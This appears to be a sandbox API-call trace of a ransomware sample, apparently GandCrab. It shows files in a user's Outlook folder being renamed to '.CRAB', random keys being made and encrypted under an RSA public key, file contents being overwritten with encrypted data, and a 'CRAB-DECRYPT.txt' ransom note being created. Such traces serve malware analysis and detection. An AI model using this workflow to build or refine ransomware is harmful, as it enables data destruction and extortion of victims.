	[0112.178] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67
	[0112.178] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67
	[0112.178] lstrlenW (lpString=".srs") returned 4
	[0112.178] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.178] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".srs ") returned 5
	[0112.178] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.178] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67
	[0112.178] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67
	[0112.178] lstrcmpiW (lpString1="Outlook.srs", lpString2="desktop.ini") returned 1
	[0112.178] lstrcmpiW (lpString1="Outlook.srs", lpString2="autorun.inf") returned 1
	[0112.178] lstrcmpiW (lpString1="Outlook.srs", lpString2="ntuser.dat") returned 1
	[0112.178] lstrcmpiW (lpString1="Outlook.srs", lpString2="iconcache.db") returned 1
	[0112.179] lstrcmpiW (lpString1="Outlook.srs", lpString2="bootsect.bak") returned 1
	[0112.179] lstrcmpiW (lpString1="Outlook.srs", lpString2="boot.ini") returned 1
	[0112.179] lstrcmpiW (lpString1="Outlook.srs", lpString2="ntuser.dat.log") returned 1
	[0112.179] lstrcmpiW (lpString1="Outlook.srs", lpString2="thumbs.db") returned -1
	[0112.179] lstrcmpiW (lpString1="Outlook.srs", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.179] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.179] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB") returned 72
	[0112.179] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs")) returned 0x20
	[0112.180] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", dwFileAttributes=0x20) returned 1
	[0112.180] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.crab")) returned 1
	[0112.181] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.181] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB"
	[0112.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB.CRAB"
	[0112.182] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0112.182] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.183] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.183] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.183] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.183] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.183] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0112.184] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.185] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.185] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0112.185] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.186] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.186] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.187] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.187] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0112.188] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda7bb0) returned 1
	[0112.188] CryptGetKeyParam (in: hKey=0xda7bb0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.188] CryptEncrypt (in: hKey=0xda7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0112.188] GetLastError () returned 0x0
	[0112.188] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.188] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e9e0) returned 1
	[0112.189] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda7af0) returned 1
	[0112.189] CryptGetKeyParam (in: hKey=0xda7af0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.189] CryptEncrypt (in: hKey=0xda7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0112.189] GetLastError () returned 0x0
	[0112.189] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.189] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.189] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.190] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.190] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0xa00, lpOverlapped=0x0) returned 1
	[0112.215] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.216] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.216] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.217] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffff600, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.217] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0xa00, lpOverlapped=0x0) returned 1
	[0112.217] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.217] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.243] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.243] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.243] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0112.243] CloseHandle (hObject=0x3f4) returned 1
	[0112.251] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.251] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.251] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.252] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.252] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.252] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.252] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.252] lstrcmpW (lpString1="Outlook.xml", lpString2=".") returned 1
	[0112.252] lstrcmpW (lpString1="Outlook.xml", lpString2="..") returned 1
	[0112.252] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml"
	[0112.252] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.253] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67
	[0112.253] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67
	[0112.253] lstrlenW (lpString=".xml") returned 4
	[0112.253] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.253] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xml ") returned 5
	[0112.253] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.253] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67
	[0112.253] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="desktop.ini") returned 1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="autorun.inf") returned 1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="ntuser.dat") returned 1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="iconcache.db") returned 1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="bootsect.bak") returned 1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="boot.ini") returned 1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="ntuser.dat.log") returned 1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="thumbs.db") returned -1
	[0112.253] lstrcmpiW (lpString1="Outlook.xml", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.253] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.254] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB") returned 72
	[0112.254] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml")) returned 0x20
	[0112.255] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", dwFileAttributes=0x20) returned 1
	[0112.255] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.crab")) returned 1
	[0112.257] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.257] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB"
	[0112.257] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB.CRAB"
	[0112.257] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e6b0) returned 1
	[0112.258] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.259] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.259] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.259] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0112.259] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.259] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0112.259] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.260] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.260] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.260] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0112.260] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.260] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.260] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.260] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.261] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0112.261] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda79f0) returned 1
	[0112.261] CryptGetKeyParam (in: hKey=0xda79f0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.261] CryptEncrypt (in: hKey=0xda79f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0112.262] GetLastError () returned 0x0
	[0112.262] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.262] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0112.262] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda7bf0) returned 1
	[0112.262] CryptGetKeyParam (in: hKey=0xda7bf0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.262] CryptEncrypt (in: hKey=0xda7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0112.263] GetLastError () returned 0x0
	[0112.263] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0112.263] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.263] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.264] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.264] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0x956, lpOverlapped=0x0) returned 1
	[0112.295] VirtualAlloc (lpAddress=0x0, dwSize=0x960, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.295] VirtualAlloc (lpAddress=0x0, dwSize=0x960, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.296] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.296] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffff6aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.296] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x960, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0x960, lpOverlapped=0x0) returned 1
	[0112.296] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.296] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.300] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.300] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.300] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0112.300] CloseHandle (hObject=0x3f4) returned 1
	[0112.303] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.303] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.303] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.304] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.304] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.304] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.304] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.304] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.304] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.304] lstrcmpW (lpString1="PowerPoint", lpString2=".") returned 1
	[0112.304] lstrcmpW (lpString1="PowerPoint", lpString2="..") returned 1
	[0112.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint"
	[0112.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\"
	[0112.305] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.305] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.305] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.305] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.305] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.305] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.306] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\\\CRAB-DECRYPT.txt") returned 76
	[0112.306] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\powerpoint\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
